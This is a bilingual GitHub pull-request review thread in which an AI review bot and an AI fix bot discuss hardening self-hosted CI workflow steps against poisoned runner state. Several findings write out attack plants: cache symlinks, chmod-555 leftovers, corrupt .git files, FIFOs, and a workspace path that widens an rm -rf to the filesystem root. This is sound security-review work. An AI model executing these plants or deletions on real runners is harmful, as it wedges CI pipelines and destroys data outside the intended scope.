R8-2：持久 npm 缓存叶子可被植入——永久楔子或无声写穿。mkdir -p "${HOME}/.cache/qwen-code/npm" 没有修复：前序池上作业可把叶子植入为文件或符号链接，mkdir -p 要么失败——楔住该 runner 上之后所有 visuals 作业——要么透过存活符号链接无声成功、把之后每个作业的 npm 缓存写入重定向到预期路径之外。没有任何步骤修复它：wipe 被 allowlist 限定在 $GITHUB_WORKSPACE，属主修复只碰 $GITHUB_WORKSPACE，清理步骤只碰 $RUNNER_TEMP。前序作业执行 touch ~/.cache/qwen-code/npm（或 ln -s <外部> ~/.cache/qwen-code/npm）即可令之后每个作业楔死在本步骤，或令缓存透过链接写入攻击者选定的位置，直至带外清理。修复：使用前修复病态形态、失败开放（缓存是优化而非门禁）：符号链接或非目录叶子则告警并 rm -f 链接本身；mkdir -p 失败则告警并回退默认缓存。修复见证：扩展 'keeps the persistent npm cache pool-only and ahead of the install' 测试，断言运行文本在 mkdir -p 之前解除非目录/符号链接叶子、且仅在成功分支写 NPM_CONFIG_CACHE；删除修复行使之变红。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| - name: 'Clear stale capture dirs' | ||
| run: |- | ||
| set -euo pipefail | ||
| rm -rf "${RUNNER_TEMP}/web-shell-visuals" "${RUNNER_TEMP}/web-shell-before" |
There was a problem hiding this comment.
[Critical] R8-3: a read-only leftover under ${RUNNER_TEMP} wedges step 1 of every later job. The unconditional 'Clear stale capture dirs' step has no permission-heal: a read-only leftover under the two cleared paths — the exact leftover class the next step says it exists to heal — makes rm -rf fail (EACCES descending into a 555 directory that still has children), fails this step of every later job, and survives its own failed removal; the workspace ownership heal runs after this step and only heals $GITHUB_WORKSPACE. A prior pool job planting mkdir -p "${RUNNER_TEMP}/web-shell-visuals/junk" && chmod 555 "${RUNNER_TEMP}/web-shell-visuals" then wedges every later visuals job on that runner until manual cleanup — one plant, a permanently red lane for every PR.
witness (probe as uid 1000 against the real step text):
UNFIXED: job1 and job2 both exit 1, 'rm: cannot remove …/web-shell-visuals/junk: Permission denied',
plant STILL PRESENT after both
FIXED (chmod heal before the rm): exit 0 ×2, plant removed
| rm -rf "${RUNNER_TEMP}/web-shell-visuals" "${RUNNER_TEMP}/web-shell-before" | |
| chmod -R u+rwX "${RUNNER_TEMP}/web-shell-visuals" "${RUNNER_TEMP}/web-shell-before" 2>/dev/null || true | |
| rm -rf "${RUNNER_TEMP}/web-shell-visuals" "${RUNNER_TEMP}/web-shell-before" || sudo -n rm -rf "${RUNNER_TEMP}/web-shell-visuals" "${RUNNER_TEMP}/web-shell-before" |
(the sudo -n fallback matches the pool's sudo allowlist, which this file's Playwright step says includes rm).
Fix witness: an exec fixture planting the two clear dirs as a 555 dir containing a child, asserting the step exits 0 with full removal; removing the heal/fallback must turn it red.
中文说明
R8-3：${RUNNER_TEMP} 下的只读遗留物会楔住之后每个作业的第一步。无条件的 'Clear stale capture dirs' 步骤没有权限修复：两个被清理路径下的只读遗留物——正是下一步骤声称自己存在就是为了修复的那类遗留——会使 rm -rf 失败（对仍有子项的 555 目录 descending 时 EACCES），使之后每个作业的该步骤失败，且遗留在自身失败的删除后依然存活；工作区属主修复在该步骤之后运行、且只修复 $GITHUB_WORKSPACE。前序池上作业植入 mkdir -p "${RUNNER_TEMP}/web-shell-visuals/junk" && chmod 555 "${RUNNER_TEMP}/web-shell-visuals" 即可令该 runner 上之后每个 visuals 作业楔死，直至人工清理——一次植入、对每个 PR 都是永久红车道。修复：rm -rf 之前先 chmod -R u+rwX 修复（失败容忍），并加 sudo -n rm -rf 回退（池的 sudo allowlist 按本文件 Playwright 步骤的注释包含 rm）。修复见证：植入含子项的 555 目录，断言步骤退出码 0 且完全清除；删除修复/回退必须变红。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| function wipeGitEnv(home) { | ||
| return { | ||
| PATH: process.env.PATH, |
There was a problem hiding this comment.
[Critical] R8-4: the five git-dependent wipe witnesses fail as-delivered on fleet machines whose PATH git is the QWEN_CI_REAL_GIT wrapper. The witnesses resolve git PATH-first (hostToolPath('git')) and spawn it with this wholesale-replaced env, so on a machine whose PATH git is the fleet wrapper (exec "$QWEN_CI_REAL_GIT" "$@") they die with exec: : not found — the wrapper's indirection variable never reaches the child, and the same scrub strips it from runWipeStep's env. HELPER_TESTS includes this file and runs in ci.yml's Linux test job in both profiles, which routes to the ecs-qwen pool for trusted lanes; the wrapper env is present on this org's runner fleet (verified live), and the repo's own convention exists for it (extension-git-client.test.ts honors QWEN_CI_REAL_GIT). This PR's CI runs are currently green, so the failure is dispatch-dependent — the same shape the R3-1 Critical was filed on.
witness (deterministic split, both directions):
as delivered on a wrapper-env machine: # tests 49 / pass 44 / fail 5
— commondir, config.lock, symlinked .git/config, refs/replace, allowlist-scrub
each failing '…/qwen-network-bin.*/git: line 6: exec: : not found'
wrapper dir removed from PATH: pass 49 / fail 0
proposed fix applied: pass 49 / fail 0 in the wrapper env, still 49/0 wrapper-free
Fix — resolve the witness git through the fleet convention and flow the variable into runWipeStep's env, keeping GIT_CONFIG_NOSYSTEM/fresh-HOME isolation intact:
const realGit = process.env.QWEN_CI_REAL_GIT ?? hostToolPath('git');
// wipeGitEnv: add QWEN_CI_REAL_GIT to the child env when it is set in process.envFix witness: the five git-dependent wipe exec witnesses themselves — red in the wrapper environment today; the fix must turn them green there while staying green on a wrapper-free PATH (both states observed in this review).
中文说明
R8-4：五个依赖 git 的 wipe 见证在 PATH 上 git 为 QWEN_CI_REAL_GIT 包装器的车队机器上按现状交付即失败。见证以 PATH 优先解析 git（hostToolPath('git')）并以整体替换的 env 派生进程，因此在 PATH git 为车队包装器（exec "$QWEN_CI_REAL_GIT" "$@"）的机器上以 exec: : not found 死去——包装器的间接变量到不了子进程，同一擦洗也从 runWipeStep 的 env 中剥掉了它。HELPER_TESTS 包含本文件、在 ci.yml 两种 profile 的 Linux test 作业中运行，而该作业对可信车道路由到 ecs-qwen 池；包装器环境存在于本组织的 runner 车队（已在线验证），仓库自身也已有对应约定（extension-git-client.test.ts 尊重 QWEN_CI_REAL_GIT）。本 PR 的 CI 目前为绿，因此该失败依赖派发——与当初 R3-1 Critical 的形态相同。修复：按车队约定解析见证 git（process.env.QWEN_CI_REAL_GIT ?? hostToolPath('git')），并把该变量传入 runWipeStep 的 env，保持 GIT_CONFIG_NOSYSTEM/全新 HOME 隔离不变。修复见证：即那五个见证本身——当前在包装器环境为红；修复须使其在该环境变绿、同时在无包装器 PATH 上保持绿（本轮两种状态均已观测）。
— qwen3.8-max via Qwen Code /review (v0.22.2)
|
🤖 Addressed the latest review feedback (round 2/100). What changed, and what I pushed back on: · 已处理最新评审反馈（第 2/100 轮）。改动内容与我反驳保留之处如下： Round-8 review feedback — all six Criticals addressedEvery finding was reproduced on the pre-round code before fixing (probes/witnesses Findings and dispositions[Critical] R5-1 (rc:3882162054) — kept- [Critical] R8-1 (rc:3882162065) — ancestor walk spins forever on relative [Critical] R8-2 (rc:3882162079) — plantable persistent npm-cache leaf — ACT (implemented). [Critical] R8-3 (rc:3882162091) — read-only leftover wedges 'Clear stale capture dirs' — ACT (implemented). [Critical] R8-4 (rc:3882162107) — five git-dependent wipe witnesses die on wrapper-env fleet machines — ACT (implemented). [Critical] R8-5 (review body) — pool lane consumes the cross-job-writable Playwright cache without provenance — ACT (implemented). Not in this round's scope (recorded, unchanged):
Mutation probes (guard removed → witness red → restored)
Verification
No conflicts ( 中文说明第 8 轮评审反馈 —— 六条 Critical 全部处理每条发现都在修复前先于回前代码上复现（探针/见证如下），按根因修复，并由一个在回前树上失败、且在移除新增守卫行后再次失败（变异探针）的见证钉住。 发现与处理[Critical] R5-1（rc:3882162054）——保留 [Critical] R8-1（rc:3882162065）——祖先遍历在相对 [Critical] R8-2（rc:3882162079）——可植入的持久 npm 缓存叶子 —— 已实现。 [Critical] R8-3（rc:3882162091）——只读遗留物楔死 'Clear stale capture dirs' —— 已实现。 [Critical] R8-4（rc:3882162107）——五个依赖 git 的 wipe 见证在包装器环境的车队机器上交付即失败 —— 已实现。 [Critical] R8-5（评审正文）——池车道消费跨作业可写的 Playwright 浏览器缓存而无溯源 —— 已实现。 本轮范围外（记录在案，未改动）：
变异探针（移除守卫 → 见证变红 → 恢复）
验证
无冲突（ Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。 Re-review when you have a moment. After round 100 this bot stops and leaves the PR for a human. · 有空请复审；第 100 轮后本 bot 停止并将 PR 交给人工。 🧠 Handled by Qwen Code · model/模型 |
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Partially reviewed — gaps disclosed.
1 Suggestion-level finding(s) this review confirmed are already reported on this PR and are not repeated:
- N10 case-insensitive ambient-secret matcher bypass (SECRETS.X / Secrets['X'] resolve on the runner but the guard regex has no i flag) — already reported (round-6 deferred list, review 5044230016; round-8 body duplicate note, review 50529174…
Not reviewed: reverse audit — stopped at the round cap of 5 without converging (rounds 1-5 each reported new findings; the kept-.git planted-state family kept producing new entrances).
Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/serve-ab.yml: actionlint embedded-shell source mapping is not yet supported — not linted; the executable-script lint — .github/workflows/web-shell-visuals.yml: actionlint embedded-shell source mapping is not yet supported — not linted.
Deferred under the convergence posture (round 9, not a blocker) — recorded, not requested in this round:
.github/workflows/.size-baseline:56 — [probe] serve-ab.yml baseline under-recorded by 2614 bytes (25994 vs 28608).github/scripts/ci-runner-routing.test.mjs:2341 — [review] env-override guard loop omits the wipe and npm-cache step env maps.github/scripts/ci-runner-routing.test.mjs:2199 — [probe] npm-cache witness arms never exercise a failing rm -f (the shape that kills the step).github/scripts/ci-runner-routing.test.mjs:2025 — [probe] fail-open witness never plants .git/shallow — the gate-escaping state.github/scripts/ci-runner-routing.test.mjs:2092 — [review] capture pin suite never pins permissions: contents: read (or persist-credentials).github/workflows/serve-ab.yml:333 — [review] serve-ab's kept .git is a dead artifact — the validation guards nothing there.github/scripts/ci-runner-routing.test.mjs:365 — [probe] secret-free allowlist is value-only, never positional
Convergence: round 9 posted 8 inline comment(s), 7 of them reported for the first time; the previous round posted 5 (4 new). Findings keep coming back to the same files: .github/workflows/web-shell-visuals.yml (findings in rounds 5, 8; 4 more now). The rate of new findings is not falling. A cluster that keeps producing siblings usually means the fixes are treating instances of a shared root cause — triaging that cause before the next round, or splitting an independent cluster into its own pull request, tends to end the loop faster than fixing them one at a time. Batching the remaining fixes and verifying them before the next push keeps the loop from re-deriving the same set; this PR's reviews already resolve to a critical posting floor. (Observation only — nothing was withheld from this review because of this observation.)
Mechanism health: this round did not close cleanly, so it withholds the incremental anchor — and the round it recovered had no anchor this round could use either — none at all, one with no certifier, one certified by an identity other than the one this round runs under, or one this round's fetch refused or resolved to the head — so the next review re-reads the whole diff unless recovery grafts an earlier own anchor that the round running it can use onto the complete work list this round leaves behind, and keeps doing so until a round's marker carries an anchor again or a graft lands that the round running it can use. (Stated, not acted on — this changes nothing about what the round posts.)
Residual risk: this loop is persistently critical — Criticals stood in the previous round's work-list and stand again this round (8 Critical(s)), the rate of first-time findings is not falling (this round 7, previous 4), and the standing Critical backlog is not shrinking. The severity floor will not converge it. Recommendation: land-with-residual-risk — the exit is a maintainer risk-acceptance decision (merge, carrying the residual risk), not another review round. Residual-risk inventory for that decision (maintainer to complete):
| standing Critical | attack surface | attacker-dependency | blast radius |
|---|---|---|---|
| (each standing Critical) | … | … | … |
Advisory only — it does not block this review.
中文说明
仅完成部分审查，审查缺口已披露。
本轮确认的 1 条建议级发现已在 PR 上报告过，不再重复发布（列表见上方英文部分）。
未审查：reverse audit — stopped at the round cap of 5 without converging (rounds 1-5 each reported new findings; the kept-.git planted-state family kept producing new entrances)。
未检查（工具限制，非阻断）：the executable-script lint — .github/workflows/serve-ab.yml: actionlint embedded-shell source mapping is not yet supported — not linted; the executable-script lint — .github/workflows/web-shell-visuals.yml: actionlint embedded-shell source mapping is not yet supported — not linted。
收敛姿态下延后（第 9 轮，非阻断）——已记录，本轮不要求修改：共 7 条（原文未翻译，列表见上方英文部分）。
收敛情况：第 9 轮发布了 8 条行内评论，其中 7 条是首次提出；上一轮发布了 5 条（其中 4 条首次提出）。发现反复回到同一批文件：.github/workflows/web-shell-visuals.yml（第 5、8 轮已出过发现，本轮又有 4 条）。新发现的产出速度没有下降。一个不断再生兄弟发现的簇，通常意味着逐条修复只在处理同一根因的实例——先定位并处理该根因，或把独立的簇拆成单独的 PR，通常比逐条修复更快结束循环。把剩余修复攒成一批、验证后再推送，可以避免循环反复推导同一组发现；本 PR 的评审已解析为 critical 发布下限。（仅为观察——本轮评审未因此扣留任何内容。）
机制健康：本轮未能干净收尾，因而扣留了增量锚点，而它恢复到的那一轮也没有留下本轮可用的锚点——要么完全没有、要么没有认证者、要么由本轮运行身份之外的身份认证、要么被本轮的获取拒绝或解析为头提交——因此下一次评审将重读整个 diff，除非恢复流程把本轮能使用的更早自有锚点嫁接到本轮留下的完整工作清单上；并会一直如此，直到某一轮的标记重新带上锚点，或落地的嫁接能被运行该轮的评审使用。（仅陈述，不据此行动——这不改变本轮发布的任何内容。）
残余风险：本循环处于 persistently-critical 形态——上一轮工作清单中的 Critical 本轮依然存在（本轮 8 条 Critical），首次发现的速率没有下降（本轮 7，上一轮 4），且未决 Critical 积压没有减少。severity floor 无法使其收敛。建议：land-with-residual-risk——出口是 maintainer 的风险接受决定（合入并承担残余风险），而非再开一轮评审。供该决定使用的残余风险清单（maintainer 填写）：按每条未决 Critical 列出「攻击面 · 攻击者依赖性 · 影响范围」三栏。仅为建议——不阻断本次评审。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| git --git-dir="$WS/.git" config --local --unset-all extensions.worktreeConfig 2>/dev/null || true | ||
| { git --git-dir="$WS/.git" config --local --name-only --list 2>/dev/null || true; } | { grep -ivE '^(core\.(repositoryformatversion|bare|filemode|symlinks|ignorecase|precomposeunicode|logallrefupdates|hidedotfiles|protecthfs|protectntfs)|remote\..+\.(url|fetch|pushurl)|branch\.|gc\.|pack\.|fetch\.|index\.|safe\.|submodule\.[^.]+\.(url|active|branch))' || true; } | while IFS= read -r key; do git --git-dir="$WS/.git" config --local --unset-all "$key" 2>/dev/null || true; done | ||
| if [ -d "$WS/.git" ]; then | ||
| if ! replace_refs="$(git --git-dir="$WS/.git" for-each-ref --format='%(refname)' refs/replace 2>/dev/null)"; then |
There was a problem hiding this comment.
[Critical] R5-1: the kept-.git planted-state class is still open. Round 8 closed the round-7 entrances (re-verified this round), but six NEW entrances demonstrated this round — each probe-verified against the unmodified step — show the per-entrance defang cannot converge:
.git/shallowis deliberately KEPT — garbage bytes kill every later git op (fatal: bad shallow line, exit 128) while this fail-open gate (for-each-ref refs/replace) exits 0, so the poison is carried forever.- The object store is never probed — a garbage loose object unreachable from HEAD passes the gate and wedges every later checkout (
inflate: data stream error, exit 128), surviving repeated wipes. - The scrub allowlist arm
fetch\.keeps fetch-scoped knobs — plantedfetch.recurseSubmodules=evilsurvives and kills the nextgit fetch(exit 128), sitting exactly between checkout's recreate self-heal and the fail-open. - A foreign-owner read-only
refs/replaceplant is enumerable yet undeletable —update-ref -ddies EACCES and aborts the step; the fail-open never fires. - A FIFO planted at
.git/config/.git/packed-refs/.git/indexmatches no sweep arm and HANGS the first git call — a hang defeats the exit-keyed fail-open entirely, burning the job timeout with nothing deleted. - The allowlist keeps
remote.*.fetch— a planted invalid refspec survives and kills every later checkout fetch (fatal: invalid refspec); checkout v6 never consumes that key (control: explicit-refspec fetch exits 0 with it unset).
witness (all against the unmodified step):
shallow: wipe exit 0, poison carried; fetch/checkout exit 128 'bad shallow line'
object: gate exit 0; checkout exit 128 'inflate: data stream error'; corrupt after 2 wipes
fetch.*: key survives scrub; fetch exit 128 'bad fetch.recursesubmodules argument'
refs/replace: for-each-ref exit 0; update-ref -d 'cannot lock ref … Permission denied'; step exit 1
FIFO: wipe SIGTERM at probe cap, FIFO survives, repeats
remote.fetch: wipe exit 0 silent; key survives; fetch exit 128 'invalid refspec'; control exit 0
Five consecutive rounds have each closed named entrances and each next audit found more — the surface is unbounded. Close it structurally: make the fail-open coextensive with the requirement (any state the strip or the next checkout cannot survive discards the gitdir — sweep non-regular files find "$WS/.git" \( -type p -o -type s -o -type b -o -type c \) -prune -exec rm -rf {} +, add an integrity probe such as cat-file --batch-all-objects --batch-check, wrap the validation's git calls in timeout), or stop keeping the .git — in serve-ab.yml it is unconsumed (both checkouts use path: head/base and clone fresh every job), and in this file the re-fetch is the documented fallback already. Apply the same edit to serve-ab.yml's byte-identical copy.
Fix witness: extend the wipe witnesses in .github/scripts/ci-runner-routing.test.mjs with arms planting each of the six states, asserting the wipe exits 0 and the state is defanged or the gitdir discarded — removing any new defang/probe line must turn the corresponding arm red.
中文说明
R5-1：保留 .git 的被植入状态类仍然开放。第 8 轮闭合了第 7 轮的入口（本轮已重新验证），但本轮又演示出六个新入口（均对未改动的步骤原文做了探针验证），说明逐入口拆防无法收敛：
- 刻意保留
.git/shallow—— 垃圾字节令后续所有 git 操作死亡（fatal: bad shallow line，退出码 128），而本失败开放门禁（for-each-ref refs/replace）退出码为 0，毒态被永久携带。 - 对象库从不探测 —— 从 HEAD 不可达的垃圾松散对象通过门禁，卡死后续每次 checkout（
inflate: data stream error，退出码 128），反复 wipe 仍存活。 - 擦洗 allowlist 的
fetch\.分支保留 fetch 作用域旋钮 —— 植入fetch.recurseSubmodules=evil存活并杀死下一次git fetch（退出码 128），恰好落在 checkout 两个自愈之间。 - 外部属主只读的
refs/replace植入可枚举但不可删 ——update-ref -d以 EACCES 失败并中止步骤；失败开放永不触发。 - 在
.git/config/.git/packed-refs/.git/index植入 FIFO 不匹配任何清扫分支，并挂起第一个 git 调用 —— 挂起使按退出码触发的失败开放完全失效，烧满作业超时且什么都没删。 - allowlist 保留
remote.*.fetch—— 植入的非法 refspec 存活并杀死后续每次 checkout 的 fetch（fatal: invalid refspec）；checkout v6 从不消费该键（对照：置空后显式 refspec 的 fetch 退出码 0）。
连续五轮每轮都闭合了被点名的入口、下一轮审计又发现更多——该面是无界的。请结构性闭合：让失败开放与需求同延（凡是拆条或下一次 checkout 无法存活的状态就丢弃整个 gitdir——清扫非常规文件、加入完整性探测如 cat-file --batch-all-objects --batch-check、给验证的 git 调用套 timeout），或者不再保留 .git——serve-ab.yml 中它无消费者（两处 checkout 都用 path: head/base 每次全新克隆），本文件中重新拉取也已是文档化的降级路径。对 serve-ab.yml 逐字节相同的副本做同样修改。
修复见证：在 .github/scripts/ci-runner-routing.test.mjs 的 wipe 见证中新增分别植入上述六种状态的夹具，断言 wipe 退出码 0 且状态被拆除或 gitdir 被丢弃——删除任一新增拆防/探测行必须使对应夹具变红。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| # here) or a symlink (every later job's cache writes land at the | ||
| # link's target). Heal the pathological spellings before use — | ||
| # the cache is an optimization, not a gate, so fail open. | ||
| if [ -L "${cache_dir}" ] || { [ -e "${cache_dir}" ] && [ ! -d "${cache_dir}" ]; }; then |
There was a problem hiding this comment.
[Critical] R8-2: (fix-induced) the round-8 fix for this thread added the npm-cache heal — and the heal itself is defeated four ways, each probe-verified:
rm -fis unchecked under the wrapper'sbash -eo pipefail, so an unwritable parent (chmod 555) makes the heal die EACCES and abort the step — a permanent wedge; and a bare|| trueis also wrong (verified:mkdir -pthen succeeds through a surviving symlink leaf and exports the plant).- The condition tests only the LEAF — a symlink planted on an intermediate component (
~/.cache/qwen-code) bypasses it andNPM_CONFIG_CACHEis exported through the attacker's tree (silent write-through; both plant spellings probed). - A DIRECTORY leaf with hostile permissions (mode 000) passes the heal, gets exported, and every later
npm cidies EACCES (probed at uid 1000; flip: chmod heal → npm exit 0). - A hostile-permission subtree one level below a healthy leaf (chmod 000
_cacache) passes identically (independently probed; flip verified).
witness:
shape 1: rm: cannot remove … Permission denied; step exit 1; GITHUB_ENV empty; plant survives
shape 2: leaf -L FALSE; step exit 0; NPM_CONFIG_CACHE exported; realpath inside attacker tree; write-through
shape 3: step exit 0 + export; npm cache add exit 1 EACCES; chmod 0755 → exit 0
shape 4: step exit 0 + export; npm install exit 1 EACCES on _cacache/tmp; with chmod -R u+rwX → exit 0
The other two persistent locations this workflow touches heal exactly this planted-permission class with chmod -R u+rwX (the clear-dirs and ownership steps); this step skips it. Stop enumerating plant shapes — gate the export on actual usability: heal permissions first (chmod -R u+rwX "${cache_dir}" 2>/dev/null || true, tolerating heal failure), then require a real write probe inside the tree before appending NPM_CONFIG_CACHE; on probe failure warn and fall back to the default cache (the step's declared "optimization, not a gate" taxonomy). One predicate closes all four shapes.
Fix witness: extend the heal witness arms (ci-runner-routing.test.mjs ~line 2198) with the four plants (555-parent + file leaf; intermediate symlink; mode-000 dir leaf; mode-000 _cacache under a healthy leaf), asserting step exit 0 and no NPM_CONFIG_CACHE export onto an unusable cache — removing the write-probe/chmod guard must turn each arm red.
中文说明
R8-2：（修复引入）第 8 轮针对本线程的修复新增了 npm 缓存疗愈——而该疗愈本身被四种方式击穿，均经探针验证：
rm -f在包装器的bash -eo pipefail下未做检查，不可写的父目录（chmod 555）使疗愈以 EACCES 死去并中止整个步骤——永久楔子；而单纯|| true也不对（已验证：mkdir -p会透过存活的符号链接叶子成功并把植入导出）。- 条件只检测叶子——植入在中间组件（
~/.cache/qwen-code）上的符号链接绕过疗愈，NPM_CONFIG_CACHE被导出到攻击者的树中（静默写穿；两种植入拼写均已探针验证）。 - 带恶意权限的目录叶子（模式 000）通过疗愈并被导出，之后每次
npm ci都死于 EACCES（以 uid 1000 探针；翻转：chmod 疗愈后 npm 退出码 0）。 - 健康叶子下一层的恶意权限子树（chmod 000 的
_cacache）同样通过（独立探针；翻转已验证）。
本 workflow 触及的另外两个持久位置都用 chmod -R u+rwX 疗愈这一权限植入类（清理目录步骤与属主修复步骤）；本步骤独缺。请停止逐形状枚举——用真实可用性门控导出：先疗愈权限（容忍失败），再要求树内写探针成功后才追加 NPM_CONFIG_CACHE，失败则告警并回退默认缓存（即步骤自己声明的"是优化不是门禁"语义）。一个谓词闭合全部四种形状。
修复见证：在 ci-runner-routing.test.mjs 约 2198 行的疗愈见证夹具中新增上述四种植入，断言步骤退出码 0 且不向不可用缓存导出 NPM_CONFIG_CACHE——移除写探针/chmod 守卫必须使各夹具变红。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| # binary with a fabricated DT_NEEDED wedges the gate below on | ||
| # every later job (provisioning can never satisfy a name that | ||
| # does not exist). Wipe and accept the re-download. | ||
| rm -rf "${HOME}/.cache/ms-playwright" || { echo "::error::refusing to continue: could not clear the Playwright browser cache"; exit 1; } |
There was a problem hiding this comment.
[Critical] R8-5: (fix-induced) the round-8 fix for this finding added the Playwright browser-cache provenance wipe — but the wipe is a fail-closed bare rm -rf … || exit 1 with no read-only heal and no sudo fallback, so a read-only plant under ~/.cache/ms-playwright wedges every later visuals job on that runner.
Trigger: a prior pool job plants ~/.cache/ms-playwright/junk/f under a chmod-555 dir (the exact leftover class the sibling 'Clear stale capture dirs' step exists to heal). The next self-hosted capture job takes this wipe branch, rm -rf dies EACCES, the fail-closed exit 1 sinks the job — and nothing removes the plant: the ownership heal is $GITHUB_WORKSPACE-scoped, the npm-cache heal covers only ~/.cache/qwen-code/npm, the clear step only $RUNNER_TEMP. Every later self-hosted visuals job repeats the failure until manual cleanup: a permanent per-runner wedge of the very lane this fix was meant to protect.
witness (uid 1000, production wrapper flags):
rm: cannot remove '…/ms-playwright/junk/f': Permission denied
::error::refusing to continue: could not clear the Playwright browser cache
step exit: 1; plant STILL PRESENT
contrast: 'Clear stale capture dirs' heals the identical class with
chmod -R u+rwX … || true + || sudo -n rm -rf (rm is in the pool's sudo allowlist)
Mirror the sibling step: chmod -R u+rwX "${HOME}/.cache/ms-playwright" 2>/dev/null || true before the rm, and rm -rf … || sudo -n rm -rf … || { echo …; exit 1; }.
Fix witness: add a planted-readonly-cache machine state to runInstallStep (plant a chmod-555 dir with a child under the stub browser cache), asserting status 0 with the re-download; removing the chmod heal must turn it red.
中文说明
R8-5：（修复引入）第 8 轮针对本发现的修复新增了 Playwright 浏览器缓存的来源擦除——但该擦除是失败即关闭的裸 rm -rf … || exit 1，没有只读疗愈、没有 sudo 回退，~/.cache/ms-playwright 下的只读植入会卡死该 runner 上之后所有的 visuals 作业。
触发：前序池作业在 chmod 555 的目录下植入 ~/.cache/ms-playwright/junk/f（正是姊妹步骤 'Clear stale capture dirs' 存在即为疗愈的残留类）。下一个自持 capture 作业进入本擦除分支，rm -rf 以 EACCES 失败，失败即关闭的 exit 1 使作业沉没——且没有任何东西移除该植入：属主修复仅覆盖 $GITHUB_WORKSPACE，npm 缓存疗愈仅覆盖 ~/.cache/qwen-code/npm，清理步骤仅覆盖 $RUNNER_TEMP。之后每个自持 visuals 作业都重复该失败，直到人工清理：对这条本修复要保护的车道形成每 runner 的永久楔子。
对齐姊妹步骤：在 rm 之前 chmod -R u+rwX "${HOME}/.cache/ms-playwright" 2>/dev/null || true，并 rm -rf … || sudo -n rm -rf … || { echo …; exit 1; }。
修复见证：在 runInstallStep 中新增 planted-readonly-cache 机器状态（在 stub 浏览器缓存下植入 chmod 555 目录及子文件），断言退出码 0 并重新下载；移除 chmod 疗愈必须使其变红。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| # because it bounds what the heal may touch: canonical, slash-free | ||
| # and non-degenerate. An empty $RUNNER_WORKSPACE would turn every | ||
| # containment pattern below into the match-all "/*". | ||
| RWS="$(realpath -m -- "$RWS" 2>/dev/null)" || { echo "::error::refusing to wipe: realpath unavailable, cannot canonicalize ${RUNNER_WORKSPACE}"; exit 1; } |
There was a problem hiding this comment.
[Critical] The restructure moved RWS canonicalization here (realpath -m + trailing-slash strip), but the degenerate-root refusal [ -z "$RWS" ] now checks only the RAW path — exactly one occurrence per file, pre-canonicalization only. A RUNNER_WORKSPACE that collapses to / only AFTER canonicalization (/home/.. — non-empty, absolute, [ -d ] true, ancestors not symlinks, so it passes every raw guard) reaches every containment pattern as an empty string: "$RWS"/* degenerates to the match-all /* in the intermediate heal, the workspace-heal parent check, and the final wipe allowlist. A mangled GITHUB_WORKSPACE like /opt/app/data is then wiped by find … -exec rm -rf OUTSIDE the runner workspace with exit 0 — deletion beyond the containment this step exists to enforce. The mangled-env incident class (#9220/#9265) is exactly what the step's own comments cite as its reason to exist. A/B against the merge base: the base ordered realpath → strip → -z and REFUSED this input; this diff introduced the regression. (Byte-identical copy at web-shell-visuals.yml:192.)
witness:
realpath -m /home/.. -> /
with GITHUB_WORKSPACE=/tmp/f2-…/opt-app-data (outside any runner workspace):
wipe exit 0; canary WIPED; subdir WIPED; zero output
A/B: replaying the merge-base ordering on /home/.. REFUSES ('runner workspace resolved to /')
Re-add the refusal immediately after the strip, in both copies:
if [ -z "$RWS" ]; then echo "::error::refusing to wipe: runner workspace resolved to /"; exit 1; fi(a blanket raw-.. refusal would be wrong — the suite pins that a ..-spelled RWS resolving to a real parent still wipes).
Fix witness: an exec test beside 'refuses a runner workspace that resolves to /' using a value that only collapses post-canonicalization (e.g. /home/..), asserting non-zero exit and an empty rm-recorder log; removing the restored check turns it red.
中文说明
重构把 RWS 规范化移到这里（realpath -m + 去尾斜杠），但退化根拒绝 [ -z "$RWS" ] 现在只检查原始路径——每个文件恰好一处，且只在规范化之前。一个仅在规范化之后才塌缩为 / 的 RUNNER_WORKSPACE（/home/..——非空、绝对路径、[ -d ] 为真、祖先无符号链接，因此通过所有原始守卫）会以空串进入每个包含性模式："$RWS"/* 在中间疗愈、工作区疗愈父检查与最终擦除 allowlist 中退化为全匹配 /*。被污染的 GITHUB_WORKSPACE（如 /opt/app/data）随后被 find … -exec rm -rf 在 runner 工作区之外删除且退出码 0——删除越出了本步骤存在所要强制的包含性。污染环境事故类（#9220/#9265）正是步骤注释自述的存在理由。与合并基 A/B：基上顺序为 realpath → 去斜杠 → -z，会拒绝该输入；本 diff 引入了回归。（web-shell-visuals.yml:192 为逐字节相同的副本。）
在两处副本的去斜杠之后立即补回拒绝（见上方代码块）。（全面的原始 .. 拒绝是错的——套件钉扎了能解析到真实父目录的 .. 拼写 RWS 仍要擦除。）
修复见证：在 'refuses a runner workspace that resolves to /' 旁新增仅在规范化后才塌缩的输入（如 /home/..）的执行测试，断言非零退出且 rm 记录为空；移除补回的检查必须使其变红。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| esac | ||
| if [ -n "$HEAL_COMP" ]; then | ||
| HEAL_PREFIX="${HEAL_PREFIX}/${HEAL_COMP}" | ||
| if [ -L "$HEAL_PREFIX" ]; then |
There was a problem hiding this comment.
[Critical] This PR changes serve-ab.yml's wipe to HEAL a symlinked intermediate component, but the untouched consumer scripts/tests/serve-ab-workflow.test.js still pins the old REFUSAL semantics — two tests now fail deterministically at HEAD, and this PR's own CI is red on them: refuses an allowlist-escaping path reached through an intermediate symlink (expects 'outside the runner workspace', test line 431) and refuses to heal through an intermediate symlink, before touching anything (expects 'refusing to heal workspace outside the runner workspace', test line 673). This runs in ci.yml's Linux test lane (npm run test:ci → vitest, collected per scripts/tests/vitest.config.ts; win32-only exclusion), so the PR ships with a red lane.
witness:
local at HEAD: npx vitest run --config ./scripts/tests/vitest.config.ts scripts/tests/serve-ab-workflow.test.js
→ Tests 2 failed | 21 passed (23), heal annotation firing where refusal is asserted
CI run 33196814369, 'Test (ubuntu-latest, Node 22.x)':
× refuses an allowlist-escaping path reached through an intermediate symlink
× refuses to heal through an intermediate symlink, before touching anything
→ Tests 2 failed | 1889 passed | 11 skipped (1902)
